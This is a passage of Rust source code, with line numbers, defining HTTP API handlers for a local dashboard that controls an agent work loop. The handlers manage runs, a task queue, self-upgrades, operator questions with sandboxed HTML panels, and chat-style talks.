1866 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1867) -> ApiResult<Json<LoopView>> {
1868 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1871 blocking(move || {
1872 let reading = daemon::read_status(&ui.home);
1873 let foreign = Foreign::of(reading.as_ref());
1874 if body.running {
1875 ui.start_loop(foreign)?;
1876 } else {
1877 ui.stop_loop(foreign, body.park)?;
1878 }
1879 Ok(Json(ui.loop_view(reading)))
1880 })
1881 .await
1882}
1883
1884#[derive(Debug, Serialize)]
1886struct UpgradeView {
1887 from: String,
1889 to: Option<String>,
1891 parked: Option<String>,
1893 detail: String,
1895}
1896
1897async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1921 let reading = daemon::read_status(&ui.home);
1922 if let Some(other) = Foreign::of(reading.as_ref()) {
1923 return Err(ApiError::conflict(format!(
1924 "the loop belongs to {}, so replacing this binary would leave \
1925 that process running an old one against the same queue. Upgrade \
1926 where it was started.",
1927 other.who()
1928 )));
1929 }
1930
1931 if crate::updater::disabled_by_env() {
1937 return Ok((
1938 StatusCode::OK,
1939 Json(UpgradeView {
1940 from: env!("CARGO_PKG_VERSION").to_owned(),
1941 to: None,
1942 parked: None,
1943 detail: format!(
1944 "Automatic updates are disabled by {}. Nothing was parked \
1945 and nothing restarted.",
1946 crate::updater::NO_AUTOUPDATE_ENV
1947 ),
1948 }),
1949 ));
1950 }
1951
1952 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1957 let from = env!("CARGO_PKG_VERSION").to_owned();
1958 let latest = match crate::updater::Checker::new(&cfg.update) {
1959 Some(checker) => checker
1960 .newer_release()
1961 .await
1962 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1963 None => None,
1964 };
1965 let Some(latest) = latest else {
1966 return Ok((
1967 StatusCode::OK,
1968 Json(UpgradeView {
1969 from,
1970 to: None,
1971 parked: None,
1972 detail: "Already on the newest release. Nothing was parked \
1973 and nothing restarted."
1974 .to_owned(),
1975 }),
1976 ));
1977 };
1978
1979 let parked = ui.park_for_upgrade()?;
1982 let detail = match &parked {
1983 Some(run) => format!(
1988 "Run {} is parking at its next step, which can take as long as \
1989 the step it is on - up to an hour for an implement wave. The \
1990 deck replaces itself once it parks, comes back, and the loop \
1991 carries that run on from where it stopped. Nothing is lost if \
1992 you close this.",
1993 crate::run::short_of(run)
1994 ),
1995 None => "The deck replaces itself and comes back. Nothing was in \
1996 flight to park."
1997 .to_owned(),
1998 };
1999
2000 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2004 progress.parked_run = parked.clone();
2005 let _ = updater::write_progress(&ui.home, &progress);
2006
2007 let home = ui.home.clone();
2008 tokio::spawn(async move {
2009 if let Err(e) = upgrade_and_restart(home.clone()).await {
2010 tracing::error!("the upgrade did not complete: {e:#}");
2011 if let Some(mut progress) = updater::read_progress(&home) {
2012 progress.fail(format!("{e:#}"));
2013 let _ = updater::write_progress(&home, &progress);
2014 }
2015 }
2016 });
2017
2018 Ok((
2019 StatusCode::ACCEPTED,
2020 Json(UpgradeView {
2021 from,
2022 to: Some(latest.tag_name),
2023 parked,
2024 detail,
2025 }),
2026 ))
2027}
2028
2029async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2034 crate::updater::run_self_update(true, false, true).await?;
2037 tracing::info!("binary replaced - asking the server to hand over");
2038 if let Some(mut progress) = updater::read_progress(&home) {
2039 progress.advance(updater::Stage::Replaced);
2040 let _ = updater::write_progress(&home, &progress);
2041 }
2042 HANDOVER.notify_one();
2043 Ok(())
2044}
2045
2046#[derive(Debug, Serialize)]
2052struct RunSummary {
2053 id: String,
2054 short: String,
2055 status: String,
2056 done: bool,
2057 instruction: String,
2058 title: String,
2059 repo: String,
2060 repo_name: String,
2061 created_at: String,
2062 updated_at: String,
2063 candidates: usize,
2064 viable: usize,
2065 judges: usize,
2066 winner: Option<char>,
2067 reviews: usize,
2068 quota_losses: usize,
2069 event: Option<String>,
2070 superseded_by: Option<String>,
2075 waiting: bool,
2082 pr: Option<crate::run::PrRecord>,
2084}
2085
2086impl RunSummary {
2087 fn of(state: &RunState, waiting: bool) -> Self {
2088 Self {
2089 id: state.id.clone(),
2090 short: state.short().to_owned(),
2091 status: status_word(state.status),
2092 done: state.status.done(),
2093 instruction: state.instruction.clone(),
2094 title: title_from(&state.instruction, TITLE_MAX),
2095 repo: state.repo.display().to_string(),
2096 repo_name: state
2097 .repo
2098 .file_name()
2099 .map(|n| n.to_string_lossy().into_owned())
2100 .unwrap_or_default(),
2101 created_at: state.created_at.to_string(),
2102 updated_at: state.updated_at.to_string(),
2103 candidates: state.candidates.len(),
2104 viable: state.viable().len(),
2105 judges: state.config.graph.judges,
2106 winner: state.winner().map(|c| c.label),
2107 reviews: state.reviews.len(),
2108 quota_losses: state.quota.len(),
2109 event: state.events.last().map(|e| e.message.clone()),
2110 waiting,
2111 superseded_by: None,
2114 pr: state.pr.clone(),
2115 }
2116 }
2117}
2118
2119fn status_word(status: RunStatus) -> String {
2122 status.as_str().to_owned()
2126}
2127
2128#[derive(Debug, Deserialize)]
2130struct ListQuery {
2131 #[serde(default)]
2132 limit: Option<usize>,
2133}
2134
2135async fn runs_list(
2136 State(ui): State<Arc<Ui>>,
2137 Query(q): Query<ListQuery>,
2138) -> ApiResult<Json<Vec<RunSummary>>> {
2139 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2140 blocking(move || {
2141 let superseded = superseded_runs(&ui.queue);
2142 let summaries = run_ids(&ui.runs)
2143 .into_iter()
2144 .filter_map(|id| read_run(&ui.runs, &id).ok())
2149 .take(limit)
2150 .map(|state| {
2151 let waiting = !ui.questions.open_for(&state.id).is_empty();
2152 let by = superseded.get(&state.id).cloned();
2153 let mut row = RunSummary::of(&state, waiting);
2154 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2155 row
2156 })
2157 .collect();
2158 Ok(Json(summaries))
2159 })
2160 .await
2161}
2162
2163fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2176 let mut by = HashMap::new();
2177 for task in queue.list() {
2178 for pair in task.runs.windows(2) {
2179 if let [earlier, later] = pair {
2180 by.insert(earlier.clone(), later.clone());
2181 }
2182 }
2183 }
2184 by
2185}
2186
2187#[derive(Debug, Serialize)]
2194struct RunDetailView {
2195 #[serde(flatten)]
2196 state: RunState,
2197 instruction_md: Vec<md::Node>,
2198 live: bool,
2208}
2209
2210impl RunDetailView {
2211 fn of(state: RunState, live: bool) -> Self {
2212 Self {
2213 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2214 live,
2215 state,
2216 }
2217 }
2218}
2219
2220async fn run_detail(
2221 State(ui): State<Arc<Ui>>,
2222 Path(id): Path<String>,
2223) -> ApiResult<Json<RunDetailView>> {
2224 blocking(move || {
2225 let id = resolve_run(&ui.runs, &id)?;
2226 let state = read_run(&ui.runs, &id)?;
2227 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2228 Ok(Json(RunDetailView::of(state, live)))
2229 })
2230 .await
2231}
2232
2233async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2242 let (id, unreadable) = {
2243 let ui = Arc::clone(&ui);
2244 blocking(move || {
2245 let id = resolve_run(&ui.runs, &id)?;
2246 match read_run(&ui.runs, &id) {
2247 Ok(state) => {
2248 let in_flight =
2249 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2250 state
2251 .ensure_can_delete(in_flight)
2252 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2253 let dir = ui.runs.join(&id);
2254 std::fs::remove_dir_all(&dir)
2255 .with_context(|| format!("remove run directory {}", dir.display()))?;
2256 Ok((id, false))
2257 }
2258 Err(_) => {
2259 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2263 return Err(ApiError::conflict(format!(
2264 "run {id} is being worked on by a live daemon right now"
2265 )));
2266 }
2267 Ok((id, true))
2268 }
2269 }
2270 })
2271 .await?
2272 };
2273 if unreadable {
2274 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2275 .await
2276 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2277 }
2278 let ui = Arc::clone(&ui);
2279 let done = id.clone();
2280 blocking(move || {
2281 ui.questions.abandon_for_run(
2284 &done,
2285 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2286 )?;
2287 Ok(())
2288 })
2289 .await?;
2290 Ok(StatusCode::NO_CONTENT)
2291}
2292
2293async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2317 let (id, state) = {
2318 let ui = Arc::clone(&ui);
2319 blocking(move || {
2320 let id = resolve_run(&ui.runs, &id)?;
2321 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2322 return Err(ApiError::conflict(format!(
2323 "run {id} is being worked on by a live daemon right now"
2324 )));
2325 }
2326 let state = read_run(&ui.runs, &id).ok();
2327 Ok((id, state))
2328 })
2329 .await?
2330 };
2331 let removed = match state {
2332 Some(mut state) => crate::graph::fold_run(&mut state, true)
2333 .await
2334 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2335 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2336 .await
2337 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2338 };
2339 Ok(Json(FoldView {
2340 run: id,
2341 removed_count: removed.len(),
2342 removed,
2343 }))
2344}
2345
2346#[derive(Debug, Serialize)]
2348struct FoldView {
2349 run: String,
2350 removed: Vec<String>,
2352 removed_count: usize,
2353}
2354
2355async fn run_resume(
2375 State(ui): State<Arc<Ui>>,
2376 Path(id): Path<String>,
2377) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2378 let (id, state) = {
2379 let ui = Arc::clone(&ui);
2380 blocking(move || {
2381 let id = resolve_run(&ui.runs, &id)?;
2382 let state = read_run(&ui.runs, &id)?;
2383 Ok((id, state))
2384 })
2385 .await?
2386 };
2387 if !state.status.resumable() {
2388 return Err(ApiError::conflict(format!(
2389 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2390 state.short(),
2391 status_word(state.status)
2392 )));
2393 }
2394 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2399 .into_iter()
2400 .next()
2401 {
2402 return Err(ApiError::conflict(format!(
2403 "the loop is running run {} right now; stop it first, or wait for \
2404 it to finish, before resuming a run by hand.",
2405 crate::run::short_of(&work.run)
2406 )));
2407 }
2408 let _resume = ui.begin_resume(&id)?;
2409
2410 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2413 let run = id.clone();
2414 tokio::spawn(async move {
2415 let _resume = _resume;
2416 match crate::graph::Runner::resume(&run) {
2417 Ok(mut runner) => {
2418 if let Err(e) = runner.execute().await {
2419 tracing::warn!("resume of run {run} stopped: {e:#}");
2420 }
2421 }
2422 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2425 }
2426 });
2427 Ok((StatusCode::ACCEPTED, Json(queued)))
2428}
2429
2430async fn run_report(
2431 State(ui): State<Arc<Ui>>,
2432 Path(id): Path<String>,
2433) -> ApiResult<impl IntoResponse> {
2434 let text = blocking(move || {
2435 let id = resolve_run(&ui.runs, &id)?;
2436 let state = read_run(&ui.runs, &id)?;
2440 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2441 Ok(format!(
2442 "{}{}",
2443 report::run(&state),
2444 report::active_seats(&state, live)
2445 ))
2446 })
2447 .await?;
2448 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2449}
2450
2451#[derive(Debug, Serialize)]
2457struct TaskView {
2458 #[serde(flatten)]
2459 task: Task,
2460 source_label: String,
2461 status_str: &'static str,
2462 instruction_md: Vec<md::Node>,
2466}
2467
2468impl From<Task> for TaskView {
2469 fn from(task: Task) -> Self {
2470 Self {
2471 source_label: task.source.label(),
2472 status_str: task.status.as_str(),
2473 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2474 task,
2475 }
2476 }
2477}
2478
2479#[derive(Debug, Default, Deserialize)]
2482#[serde(default)]
2483struct ReposQuery {
2484 refresh: u8,
2485}
2486
2487async fn repos_list(
2494 State(ui): State<Arc<Ui>>,
2495 Query(q): Query<ReposQuery>,
2496) -> ApiResult<Json<Vec<repos::Repo>>> {
2497 let refresh = q.refresh != 0;
2498 blocking(move || {
2499 let (cfg, _) = Config::discover(&ui.repo, None)?;
2500 Ok(Json(ui.repos_cache.list(
2501 &cfg.repos.roots,
2502 Duration::from_secs(cfg.repos.scan_ttl),
2503 refresh,
2504 )))
2505 })
2506 .await
2507}
2508
2509async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2510 blocking(move || {
2511 Ok(Json(
2512 ui.queue.list().into_iter().map(TaskView::from).collect(),
2513 ))
2514 })
2515 .await
2516}
2517
2518#[derive(Debug, Default, Deserialize)]
2521#[serde(default, deny_unknown_fields)]
2522struct HoldBody {
2523 reason: Option<String>,
2524}
2525
2526async fn queue_hold(
2527 State(ui): State<Arc<Ui>>,
2528 Path(id): Path<String>,
2529 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2530) -> ApiResult<Json<TaskView>> {
2531 let body = match body {
2535 Ok(Json(body)) => body,
2536 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2537 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2538 };
2539 let reason = body.reason.filter(|r| !r.trim().is_empty());
2540 mutate(ui, id, move |t| {
2541 t.hold_manual(reason.clone());
2542 Ok(())
2543 })
2544 .await
2545}
2546
2547async fn queue_release(
2548 State(ui): State<Arc<Ui>>,
2549 Path(id): Path<String>,
2550) -> ApiResult<Json<TaskView>> {
2551 mutate(ui, id, |t| {
2552 t.release();
2553 Ok(())
2554 })
2555 .await
2556}
2557
2558#[derive(Debug, Deserialize)]
2560#[serde(deny_unknown_fields)]
2561struct PriorityBody {
2562 priority: i32,
2563}
2564
2565async fn queue_priority(
2571 State(ui): State<Arc<Ui>>,
2572 Path(id): Path<String>,
2573 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2574) -> ApiResult<Json<TaskView>> {
2575 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2576 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2577}
2578
2579#[derive(Debug, Deserialize)]
2581#[serde(deny_unknown_fields)]
2582struct EditBody {
2583 title: String,
2584 instruction: String,
2585}
2586
2587async fn queue_edit(
2591 State(ui): State<Arc<Ui>>,
2592 Path(id): Path<String>,
2593 body: std::result::Result<Json<EditBody>, JsonRejection>,
2594) -> ApiResult<Json<TaskView>> {
2595 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2596 mutate(ui, id, move |t| {
2597 t.edit(body.title.clone(), body.instruction.clone())
2598 })
2599 .await
2600}
2601
2602async fn queue_done(
2610 State(ui): State<Arc<Ui>>,
2611 Path(id): Path<String>,
2612) -> ApiResult<Json<TaskView>> {
2613 mutate(ui, id, |t| {
2614 t.succeed();
2615 Ok(())
2616 })
2617 .await
2618}
2619
2620async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2628 blocking(move || {
2629 let id = resolve_task(&ui.queue, &id)?;
2630 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2631 ui.queue
2632 .remove(&id, in_flight)
2633 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2634 Ok(StatusCode::NO_CONTENT)
2635 })
2636 .await
2637}
2638
2639async fn mutate(
2648 ui: Arc<Ui>,
2649 id: String,
2650 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2651) -> ApiResult<Json<TaskView>> {
2652 blocking(move || {
2653 let id = resolve_task(&ui.queue, &id)?;
2654 let _claim = ui.queue.claim(&id).map_err(|e| {
2659 ApiError::conflict(format!(
2660 "{e:#} - a daemon is running this task, so it cannot be \
2661 changed from here yet"
2662 ))
2663 })?;
2664 let mut task = ui.queue.get(&id)?;
2665 change(&mut task).map_err(ApiError::bad_request_from)?;
2666 ui.queue.put(&mut task)?;
2667 Ok(Json(TaskView::from(task)))
2668 })
2669 .await
2670}
2671
2672async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2680 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2681 tokio::spawn(async move {
2682 let mut ticker = tokio::time::interval(POLL);
2683 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2684 loop {
2685 ticker.tick().await;
2688 let state = Arc::clone(&ui);
2689 let revisions = tokio::task::spawn_blocking(move || {
2690 (
2691 state.queue.revision(),
2692 runs_revision(&state.runs),
2693 state.questions.revision(),
2694 state.talks.revision(),
2695 state.lock_loop().rev,
2699 )
2700 })
2701 .await;
2702 let Ok(revisions) = revisions else { break };
2703 if last == Some(revisions) {
2704 continue;
2705 }
2706 last = Some(revisions);
2707 let payload = serde_json::json!({
2708 "queue_rev": revisions.0,
2709 "runs_rev": revisions.1,
2710 "questions_rev": revisions.2,
2711 "talks_rev": revisions.3,
2712 "loop_rev": revisions.4,
2713 });
2714 let Ok(event) = Event::default().event("change").json_data(payload) else {
2716 break;
2717 };
2718 if tx.send(event).await.is_err() {
2719 break;
2720 }
2721 }
2722 });
2723 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2724 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2725}
2726
2727fn runs_revision(runs: &FsPath) -> u64 {
2734 use std::hash::{Hash as _, Hasher as _};
2735
2736 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2737 .into_iter()
2738 .flatten()
2739 .flatten()
2740 .filter_map(|e| {
2741 let path = e.path().join("run.json");
2742 let mtime = path
2743 .metadata()
2744 .ok()?
2745 .modified()
2746 .ok()?
2747 .duration_since(std::time::UNIX_EPOCH)
2748 .ok()?
2749 .as_millis() as u64;
2750 let id = e.file_name().to_string_lossy().into_owned();
2751 Some((id, mtime))
2752 })
2753 .collect();
2754
2755 if entries.is_empty() {
2756 return 0;
2757 }
2758
2759 entries.sort_unstable();
2760 let mut hasher = std::hash::DefaultHasher::new();
2761 for (id, mtime) in &entries {
2762 id.hash(&mut hasher);
2763 mtime.hash(&mut hasher);
2764 }
2765 let h = hasher.finish();
2766 if h == 0 { 1 } else { h }
2767}
2768
2769fn run_ids(runs: &FsPath) -> Vec<String> {
2775 let mut ids: Vec<String> = std::fs::read_dir(runs)
2776 .into_iter()
2777 .flatten()
2778 .flatten()
2779 .filter(|e| e.path().join("run.json").is_file())
2780 .map(|e| e.file_name().to_string_lossy().into_owned())
2781 .collect();
2782 ids.sort_unstable_by(|a, b| b.cmp(a));
2784 ids
2785}
2786
2787fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2789 let path = runs.join(id).join("run.json");
2790 let body =
2791 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2792 let state: RunState =
2793 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2794 if state.schema != run::SCHEMA {
2795 anyhow::bail!(
2796 "run {} was written by a different magi (schema {}, this build speaks {})",
2797 state.id,
2798 state.schema,
2799 run::SCHEMA
2800 );
2801 }
2802 Ok(state)
2803}
2804
2805#[must_use]
2813pub fn runs_unreadable(runs: &FsPath) -> usize {
2814 run_ids(runs)
2815 .into_iter()
2816 .filter(|id| read_run(runs, id).is_err())
2817 .count()
2818}
2819
2820fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2822 if runs.join(id).join("run.json").is_file() {
2823 return Ok(id.to_owned());
2824 }
2825 pick(run_ids(runs), id, "run")
2826}
2827
2828fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2830 if queue.path_of(id).is_file() {
2831 return Ok(id.to_owned());
2832 }
2833 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2834}
2835
2836#[derive(Debug, Serialize)]
2847struct QuestionView {
2848 #[serde(flatten)]
2849 question: Question,
2850 detail_md: Vec<md::Node>,
2851 waiting_on_agent: bool,
2861}
2862
2863impl From<Question> for QuestionView {
2864 fn from(question: Question) -> Self {
2865 let base = md::ImageBase::QuestionPanel {
2866 id: question.id.clone(),
2867 };
2868 Self {
2869 detail_md: md::to_nodes(&question.detail, &base),
2870 waiting_on_agent: question.waiting_on_agent(),
2871 question,
2872 }
2873 }
2874}
2875
2876async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2882 blocking(move || {
2883 Ok(Json(
2884 ui.questions
2885 .list()
2886 .into_iter()
2887 .map(QuestionView::from)
2888 .collect(),
2889 ))
2890 })
2891 .await
2892}
2893
2894#[derive(Debug, Default, Deserialize)]
2900#[serde(default, deny_unknown_fields)]
2901struct NewAnswer {
2902 choice: Option<String>,
2903 text: Option<String>,
2904}
2905
2906async fn question_answer(
2907 State(ui): State<Arc<Ui>>,
2908 Path(id): Path<String>,
2909 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2910) -> ApiResult<Json<QuestionView>> {
2911 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2912 let answer = match (body.choice, body.text) {
2913 (Some(c), None) => Answer::Choice(c),
2914 (None, Some(t)) => Answer::Text(t),
2915 (Some(_), Some(_)) => {
2916 return Err(ApiError::bad_request(
2917 "send either `choice` or `text`, not both",
2918 ));
2919 }
2920 (None, None) => {
2921 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2922 }
2923 };
2924
2925 blocking(move || {
2926 let id = resolve_question(&ui.questions, &id)?;
2927 let mut q = ui
2928 .questions
2929 .get(&id)
2930 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2931 if !q.status.open() {
2932 return Err(ApiError::conflict(format!(
2936 "question {} is already {}",
2937 q.short(),
2938 q.status.as_str()
2939 )));
2940 }
2941 q.answer(answer).map_err(ApiError::bad_request_from)?;
2945 ui.questions.put(&mut q)?;
2946 Ok(Json(QuestionView::from(q)))
2947 })
2948 .await
2949}
2950
2951#[derive(Debug, Deserialize)]
2953#[serde(deny_unknown_fields)]
2954struct NewSay {
2955 body: String,
2956}
2957
2958async fn question_say(
2968 State(ui): State<Arc<Ui>>,
2969 Path(id): Path<String>,
2970 body: std::result::Result<Json<NewSay>, JsonRejection>,
2971) -> ApiResult<Json<QuestionView>> {
2972 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2973 blocking(move || {
2974 let id = resolve_question(&ui.questions, &id)?;
2975 let mut q = ui
2976 .questions
2977 .get(&id)
2978 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2979 if !q.status.open() {
2980 return Err(ApiError::conflict(format!(
2984 "question {} is already {}",
2985 q.short(),
2986 q.status.as_str()
2987 )));
2988 }
2989 q.say(body.body).map_err(ApiError::bad_request_from)?;
2992 ui.questions.put(&mut q)?;
2993 Ok(Json(QuestionView::from(q)))
2994 })
2995 .await
2996}
2997
2998fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3000 if store.path_of(id).is_file() {
3001 return Ok(id.to_owned());
3002 }
3003 pick(
3004 store.list().into_iter().map(|q| q.id).collect(),
3005 id,
3006 "question",
3007 )
3008}
3009
3010async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3025 blocking(move || {
3026 let id = resolve_question(&ui.questions, &id)?;
3027 let Some(html) = ui.questions.panel_html(&id) else {
3028 return Err(ApiError::not_found(format!("question {id} has no panel")));
3029 };
3030 Ok(panel_response(
3031 "text/html; charset=utf-8",
3032 false,
3033 html.into_bytes(),
3034 ))
3035 })
3036 .await
3037}
3038
3039async fn question_asset(
3067 State(ui): State<Arc<Ui>>,
3068 Path((id, name)): Path<(String, String)>,
3069) -> ApiResult<Response> {
3070 if !crate::ask::valid_asset_name(&name) {
3073 return Err(ApiError::bad_request(format!(
3074 "`{name}` is not a usable asset name"
3075 )));
3076 }
3077 blocking(move || {
3078 let id = resolve_question(&ui.questions, &id)?;
3079 let asset = ui
3080 .questions
3081 .panel_asset(&id, &name)
3082 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3083 let Some(bytes) = asset else {
3084 return Err(ApiError::not_found(format!(
3085 "question {id} has no asset `{name}`"
3086 )));
3087 };
3088 Ok(panel_response(
3089 asset_content_type(&name),
3090 is_svg(&name),
3091 bytes,
3092 ))
3093 })
3094 .await
3095}
3096
3097fn asset_content_type(name: &str) -> &'static str {
3110 match extension(name).as_deref() {
3111 Some("png") => "image/png",
3112 Some("jpg" | "jpeg") => "image/jpeg",
3113 Some("gif") => "image/gif",
3114 Some("webp") => "image/webp",
3115 Some("svg") => "image/svg+xml",
3116 Some("css") => "text/css; charset=utf-8",
3117 Some("txt") => "text/plain; charset=utf-8",
3118 _ => "application/octet-stream",
3119 }
3120}
3121
3122fn is_svg(name: &str) -> bool {
3125 extension(name).as_deref() == Some("svg")
3126}
3127
3128fn extension(name: &str) -> Option<String> {
3130 name.rsplit_once('.')
3131 .map(|(_, ext)| ext.to_ascii_lowercase())
3132}
3133
3134fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3151 let mut res = (
3152 [
3153 (header::CONTENT_TYPE, content_type),
3154 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3155 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3156 (header::REFERRER_POLICY, "no-referrer"),
3157 ],
3158 body,
3159 )
3160 .into_response();
3161 if download {
3162 res.headers_mut().insert(
3163 header::CONTENT_DISPOSITION,
3164 HeaderValue::from_static("attachment"),
3165 );
3166 }
3167 res
3168}
3169
3170#[derive(Debug, Serialize)]
3176struct TalkView {
3177 #[serde(flatten)]
3178 talk: Talk,
3179 turn_bodies_md: Vec<Vec<md::Node>>,
3180 thinking: bool,
3188}
3189
3190impl TalkView {
3191 fn new(talk: Talk, thinking: bool) -> Self {
3192 let turn_bodies_md = talk
3193 .turns
3194 .iter()
3195 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3196 .collect();
3197 Self {
3198 turn_bodies_md,
3199 thinking,
3200 talk,
3201 }
3202 }
3203}
3204
3205#[derive(Debug, Serialize)]
3210struct TalkDetailView {
3211 #[serde(flatten)]
3212 view: TalkView,
3213 tasks: Vec<TaskView>,
3214}
3215
3216async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3221 blocking(move || {
3222 Ok(Json(
3223 ui.talks
3224 .list()
3225 .into_iter()
3226 .map(|talk| {
3227 let thinking = ui.is_thinking(&talk.id);
3228 TalkView::new(talk, thinking)
3229 })
3230 .collect(),
3231 ))
3232 })
3233 .await
3234}
3235
3236#[derive(Debug, Default, Deserialize)]
3241#[serde(default)]
3242struct NewTalk {
3243 agent: Option<String>,
3244 repo: Option<PathBuf>,
3245}
3246
3247async fn talk_post(
3250 State(ui): State<Arc<Ui>>,
3251 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3252) -> ApiResult<impl IntoResponse> {
3253 let body = match body {
3257 Ok(Json(body)) => body,
3258 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3259 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3260 };
3261 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3262 let cfg = config_for(&repo).await?;
3263 let view = blocking(move || {
3264 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3265 let thinking = ui.is_thinking(&talk.id);
3266 Ok(TalkView::new(talk, thinking))
3267 })
3268 .await?;
3269 Ok((StatusCode::CREATED, Json(view)))
3270}
3271
3272async fn talk_detail(
3274 State(ui): State<Arc<Ui>>,
3275 Path(id): Path<String>,
3276) -> ApiResult<Json<TalkDetailView>> {
3277 blocking(move || {
3278 let id = resolve_talk(&ui.talks, &id)?;
3279 let talk = ui.talks.get(&id)?;
3280 let thinking = ui.is_thinking(&talk.id);
3281 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3282 .into_iter()
3283 .map(TaskView::from)
3284 .collect();
3285 Ok(Json(TalkDetailView {
3286 view: TalkView::new(talk, thinking),
3287 tasks,
3288 }))
3289 })
3290 .await
3291}
3292
3293#[derive(Debug, Default, Deserialize)]
3299#[serde(default, deny_unknown_fields)]
3300struct NewTalkTurn {
3301 text: String,
3302 attachments: Vec<String>,
3303}
3304
3305#[derive(Debug, Deserialize)]
3306#[serde(deny_unknown_fields)]
3307struct EditTalkPending {
3308 text: String,
3309 expected_text: String,
3310 expected_attachments: Vec<String>,
3311}
3312
3313#[derive(Debug, Deserialize)]
3314#[serde(deny_unknown_fields)]
3315struct ClearTalkPending {
3316 expected_text: String,
3317 expected_attachments: Vec<String>,
3318}
3319
3320async fn talk_say(
3332 State(ui): State<Arc<Ui>>,
3333 Path(id): Path<String>,
3334 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3335) -> ApiResult<(StatusCode, Json<TalkView>)> {
3336 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3337 if body.text.trim().is_empty() && body.attachments.is_empty() {
3338 return Err(ApiError::bad_request("say something"));
3339 }
3340
3341 let id = {
3342 let ui = Arc::clone(&ui);
3343 let asked = id.clone();
3344 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3345 };
3346 {
3350 let ui = Arc::clone(&ui);
3351 let id = id.clone();
3352 blocking(move || {
